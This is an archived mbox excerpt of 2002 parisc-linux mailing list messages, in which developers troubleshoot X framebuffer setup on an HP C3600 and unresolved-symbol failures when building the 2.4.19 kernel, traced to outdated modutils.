Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 02:05:53 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 09:05:53.0160 (UTC) FILETIME=[4D061880:01C23C5F]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15728

Ok, I'll look at that config file, however if I do "dmesg | grep fb" it
says:

STI PCI Graphics ROM.....xxxxx ,fb at .... xxxxxxxxxxxx (32Mb)
stifb: Unsupported gfx card id 0x35acda30

Will using the X config below make X work?... how do I find the
resolution... using fbset ???, I think it reports that there is no
/dev/fb0... do i need to create this or is this another problem?

Thanks again
Alex

----- Original Message -----
From: "Joel Soete" <joel.soete@freebel.net>
To: "Alex Green" <alexdgreen@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, August 05, 2002 12:04 PM
Subject: Re: [parisc-linux] C3600 + Xfree86


> Hey Alex,
>
> Alex Green wrote:
> > Hi All,
> >
> > Well I've just got my C3600 booting,
> Great
> > however I have a problem with my
> > fxe5.  Even with X configured for the fb device, the start log for X
> > reports "unknown device".
> >
> > Can anyone help, do I need to do something special to get X running. I'm
> > used the STI kernel patch netinst image.
> >
> Do you try to use XF86Config-4 from ftp://ftp.parisc-linux.org/XFree86/
>
> Just pay attention that the actual resolution of your screen (at boot
> prompt you should find a menu which can give you this info) must match
> the 'Mode ...' you set in 'SubSection "Display"' for the rest it should
> works.
>
> Good luck,
> Joel
>



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 + Xfree86
Date: Mon, 05 Aug 2002 10:11:45 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3D4E4F61.2010100@freebel.net>
References: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com> <3D4E4DB5.8070101@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621592 11982 80.91.229.3 (22 Nov 2014 01:59:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 03:08:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CE0F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 03:08:39 -0600 (MDT)
Original-Received: from freebel.net (62.235.226.87) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3815AE00092071; Mon, 5 Aug 2002 11:08:37 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15729


Joel Soete wrote:
> Hey Alex,
> 
> Alex Green wrote:
> 
>> Hi All,
>>  
>> Well I've just got my C3600 booting,
> 
> Great
> 
>> however I have a problem with my fxe5.  Even with X configured for the 
>> fb device, the start log for X reports "unknown device".
>>  
>> Can anyone help, do I need to do something special to get X running. 
>> I'm used the STI kernel patch netinst image.
>>  
> 
> Do you try to use XF86Config-4 from ftp://ftp.parisc-linux.org/XFree86/
> 

Or may be (better?) in ftp://ftp.parisc-linux.org/kernels/b180/: 
XF86Config-4.joel or XF86Config-4.ggg

Joel



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 14:34:04 +0200
Lines: 186
Approved: news@gmane.org
Message-ID: <20020805123404.GW7040@charite.de>
References: <1028503560.977.15.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621593 11983 80.91.229.3 (22 Nov 2014 01:59:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 06:34:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id F13D04829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 06:34:06 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 6988B15C00D; Mon,  5 Aug 2002 14:34:04 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 2176A633B4; Mon,  5 Aug 2002 14:34:04 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1028503560.977.15.camel@beavis>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15730

On Sun, Aug 04, 2002 at 05:25:59PM -0600, Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> The merge upto linux 2.4.19 was just committed into the parisc-linux
> cvs tree.  This kernel boots fine on my 712 and C200.

For me, it doesn't even BUILD!

(I build it on the box itself 712/80, gecko):

make[3]: Entering directory /usr/src/linux/arch/parisc/math-emu'
make[3]: Nothing to be done for modules_install'.
make[3]: Leaving directory /usr/src/linux/arch/parisc/math-emu'
cd /usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0; \
mkdir -p pcmcia; \
find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{}
pcmcia
if [ -r System.map ]; then /sbin/depmod -ae -F System.map -b
/usr/src/linux/debian/tmp-image -r 2.4.19-pa0; fi
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/block/loop.o
depmod:         __down_Re9269c59
depmod:         flush_kernel_dcache_page_Re8500931
depmod:         __down_interruptible_R56f0c46c
depmod:         grab_cache_page_Rb8766631
depmod:         register_blkdev_Rd300b725
depmod:         fput_R3d1d1a12
depmod:         $$remI
depmod:         kmem_cache_free_R891f2686
depmod:         $$remU
depmod:         kmalloc_R93d4cfe6
depmod:         blksize_size_R2f30b4b6
depmod:         do_generic_file_read_Rce441edc
depmod:         memset
depmod:         __free_pages_R4d8ebf0c
depmod:         register_disk_R2a459389
depmod:         $$divI
depmod:         refile_buffer_Reea9d23d
depmod:         $$divU
depmod:         kernel_thread_R7e9ebb05
depmod:         lcopy_to_user_R9495ad99
depmod:         generic_make_request_R9c66707e
depmod:         blk_ioctl_Re7800428
depmod:         unlock_page_R7859638c
depmod:         flush_signals_R013d45f8
depmod:         printk_Rdd132261
depmod:         fget_R5396ec14
depmod:         bh_cachep_Rdcc0bb37
depmod:         zone_table_R74ddb3f9
depmod:         blk_queue_make_request_R93ad7aa7
depmod:         tq_disk_R5373dbb6
depmod:         sprintf_R1d26aa98
depmod:         lcopy_from_user_R709cd167
depmod:         daemonize_Rd66a354a
depmod:         $$mulI
depmod:         exit_files_Rb894776d
depmod:         memcpy
depmod:         blk_size_Ra2e0a082
depmod:         kfree_R037a0cba
depmod:         kmem_cache_alloc_R75810956
depmod:         schedule_timeout_Rd62c833f
depmod:         __up_R67ea47fd
depmod:         __run_task_queue_R3889b11c
depmod:         strncpy_R328a05f1
depmod:         is_read_only_R740274ca
depmod:         _alloc_pages_R5fc0da8d
depmod:         invalidate_bdev_R78bde981
depmod:         set_blocksize_Rc75d857c
depmod:         unregister_blkdev_Reac1c4af
depmod:         set_device_ro_Rdc036ebb
depmod:         blk_dev_R66c70949
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/cdrom/cdrom.o
depmod:         register_sysctl_table_R3f9a7ec6
depmod:         unregister_sysctl_table_Ra973a840
depmod:         $$remI
depmod:         kmalloc_R93d4cfe6
depmod:         proc_dointvec_R2f04908a
depmod:         memset
depmod:         $$divI
depmod:         lcopy_to_user_R9495ad99
depmod:         printk_Rdd132261
depmod:         sprintf_R1d26aa98
depmod:         lcopy_from_user_R709cd167
depmod:         check_disk_change_R11d4076d
depmod:         $$mulI
depmod:         memcpy
depmod:         kfree_R037a0cba
depmod:         proc_dostring_R272d14f4
depmod:         strcpy_Re914e41e
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/char/lp.o
depmod:         __down_interruptible_R56f0c46c
depmod:         kmalloc_R93d4cfe6
depmod:         register_chrdev_R18f7b46f
depmod:         unregister_chrdev_Rc192d491
depmod:         $$divI
depmod:         schedule_R01000e51
depmod:         $$divU
depmod:         lcopy_to_user_R9495ad99
depmod:         printk_Rdd132261
depmod:         jiffies_R0da02d67
depmod:         sprintf_R1d26aa98
depmod:         lcopy_from_user_R709cd167
depmod:         $$mulI
depmod:         simple_strtoul_R20000329
depmod:         interruptible_sleep_on_timeout_R134602fd
depmod:         kfree_R037a0cba
depmod:         boot_cpu_data_Rc81f4886
depmod:         __up_R67ea47fd
depmod:         strncmp_R84b183ae
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/char/n_hdlc.o
depmod:         tty_hung_up_p_Raabff69e
depmod:         tty_register_ldisc_R212858d6
depmod:         n_tty_ioctl_R2efb9ad9
depmod:         __pollwait_Rdbb4d91a
depmod:         add_wait_queue_Rde917559
depmod:         kill_fasync_R0bea745a
depmod:         kmalloc_R93d4cfe6
depmod:         memset
depmod:         schedule_R01000e51
depmod:         lcopy_to_user_R9495ad99
depmod:         __wake_up_Rf0f2f792
depmod:         printk_Rdd132261
depmod:         interruptible_sleep_on_R52b04435
depmod:         lcopy_from_user_R709cd167
depmod:         memcpy
depmod:         kfree_R037a0cba
depmod:         remove_wait_queue_Rd435d44b
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/hil/hilkbd.o
depmod:         disable_irq_Ra44762a4
depmod:         request_irq_Ra25b351e
depmod:         unregister_parisc_driver_R74db4b32
depmod:         printk_Rdd132261
depmod:         free_irq_Rf20dabd8
depmod:         register_parisc_driver_R56e5494c
depmod:         register_ps2_keybfuncs_R50f75b19
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/input/input.o
depmod:         mod_timer_R1f13d309
depmod:         register_chrdev_R18f7b46f
depmod:         unregister_chrdev_Rc192d491
depmod:         printk_Rdd132261
depmod:         jiffies_R0da02d67
depmod:         del_timer_Rfc62f16d
depmod:         sprintf_R1d26aa98
depmod:         try_inc_mod_count_R133c9d8f
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/input/keybdev.o
depmod:         kmalloc_R93d4cfe6
depmod:         memset
depmod:         printk_Rdd132261
depmod:         kbd_ledfunc_Rfa67cc5f
depmod:         keyboard_tasklet_R28aa0faa
depmod:         kfree_R037a0cba
depmod:         __tasklet_schedule_Rf397b9aa
depmod:         handle_scancode_Rd3d6a2f1
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.19-pa0/kernel/drivers/input/mousedev.o
depmod:         __pollwait_Rdbb4d91a
depmod:         add_wait_queue_Rde917559
depmod:         kill_fasync_R0bea745a
depmod:         kmalloc_R93d4cfe6
depmod:         fasync_helper_Rf75cd16e
depmod:         memset
depmod:         $$divI
depmod:         schedule_R01000e51
depmod:         lcopy_to_user_R9495ad99
depmod:         __wake_up_Rf0f2f792
depmod:         printk_Rdd132261
depmod:         $$mulI
depmod:         kfree_R037a0cba
depmod:         remove_wait_queue_Rd435d44b
depmod:         add_mouse_randomness_R70507c97

etc.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
This signature was added just to have one. ;-)



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 05 Aug 2002 14:51:56 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <sd4e97dd.056@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621593 11986 80.91.229.3 (22 Nov 2014 01:59:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:53 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <Ralf.Hildebrandt@charite.de>, <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 07:23:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B3CC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 07:23:37 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id PAA26129 for <parisc-linux@lists.parisc-linux.org>; Mon, 5 Aug 2002 15:23:36 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma025913; Mon, 5 Aug 02 15:22:29 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 05 Aug 2002 15:21:01 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15731

>On Sun, Aug 04, 2002 at 05:25:59PM -0600, Ryan Bradetich wrote:
>> Hello parisc-linux hackers,
>>=20
>> The merge upto linux 2.4.19 was just committed into the parisc-linux
>> cvs tree.  This kernel boots fine on my 712 and C200.
>
>For me, it doesn't even BUILD!
>
There is a noxious problem where the latest debian modutils are still at
2.4.15, and kernel-2.4.19 needs newer modutils. This can be solved
by downloading a newer version of modutils (2.4.19 is the latest, IIRC) =
and
installing those. The symptoms of too old modutils are lot of unresolved
symbols - like  you see.

Good luck,
Jurriaan



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 15:26:33 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20020805132633.GE20305@charite.de>
References: <sd4e97dd.056@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621593 11988 80.91.229.3 (22 Nov 2014 01:59:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 07:26:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7E644829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 07:26:34 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 5FC5915C00C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 15:26:33 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 647C7633B4; Mon,  5 Aug 2002 15:26:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <sd4e97dd.056@ms-zrt1>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15732

Am 05.08.2002 um 14:51:56 +0200 schrieb Jurriaan Kalkman folgendes:

> There is a noxious problem where the latest debian modutils are still at
> 2.4.15, and kernel-2.4.19 needs newer modutils. This can be solved
> by downloading a newer version of modutils (2.4.19 is the latest, IIRC) and
> installing those. The symptoms of too old modutils are lot of unresolved
> symbols - like  you see.

I see. Ain't there a recent Debian package for modutils?
I'm tracking unstable...

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Is engaged in a staring contest with a pack of evil dogs 



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 15:47:58 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <OE566fKn1QgqfGsUJCU00006611@hotmail.com>
References: <sd4e97dd.056@ms-zrt1> <20020805132633.GE20305@charite.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621594 11991 80.91.229.3 (22 Nov 2014 01:59:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 07:48:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe56.law3.hotmail.com [209.185.240.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52A384829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 07:48:01 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 06:48:00 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 13:48:00.0695 (UTC) FILETIME=[B69EF470:01C23C86]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15733

there is only the 2.4.15 pkgs in the debian trees (stable, unstable and
testing)

where can the new modutils be retrieved from?

Thnx
----- Original Message -----
From: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, August 05, 2002 3:26 PM
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.


> Am 05.08.2002 um 14:51:56 +0200 schrieb Jurriaan Kalkman folgendes:
>
> > There is a noxious problem where the latest debian modutils are still at
> > 2.4.15, and kernel-2.4.19 needs newer modutils. This can be solved
> > by downloading a newer version of modutils (2.4.19 is the latest, IIRC)
and
> > installing those. The symptoms of too old modutils are lot of unresolved
> > symbols - like  you see.
>
> I see. Ain't there a recent Debian package for modutils?
> I'm tracking unstable...
>
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
> Why you can't find your system administrators:
> Is engaged in a staring contest with a pack of evil dogs
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 05 Aug 2002 15:54:35 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <sd4ea3d1.076@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621594 11995 80.91.229.3 (22 Nov 2014 01:59:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 08:14:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEFD04829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 08:14:46 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id QAA07315 for <parisc-linux@lists.parisc-linux.org>; Mon, 5 Aug 2002 16:14:45 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma007136; Mon, 5 Aug 02 16:13:28 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 05 Aug 2002 16:12:01 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15734

>there is only the 2.4.15 pkgs in the debian trees (stable, unstable and
>testing)
>
>where can the new modutils be retrieved from?
>
a single google-query would have shown they live in=20

/pub/linux/utils/kernel/moduitls/v2.4

in every kernel mirror you can find. I haven't tested newer versions on
pa-risc, BTW.

Good luck,
Jurriaan



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling 2.4.19-pa0
Date: Mon, 5 Aug 2002 16:17:45 +0200
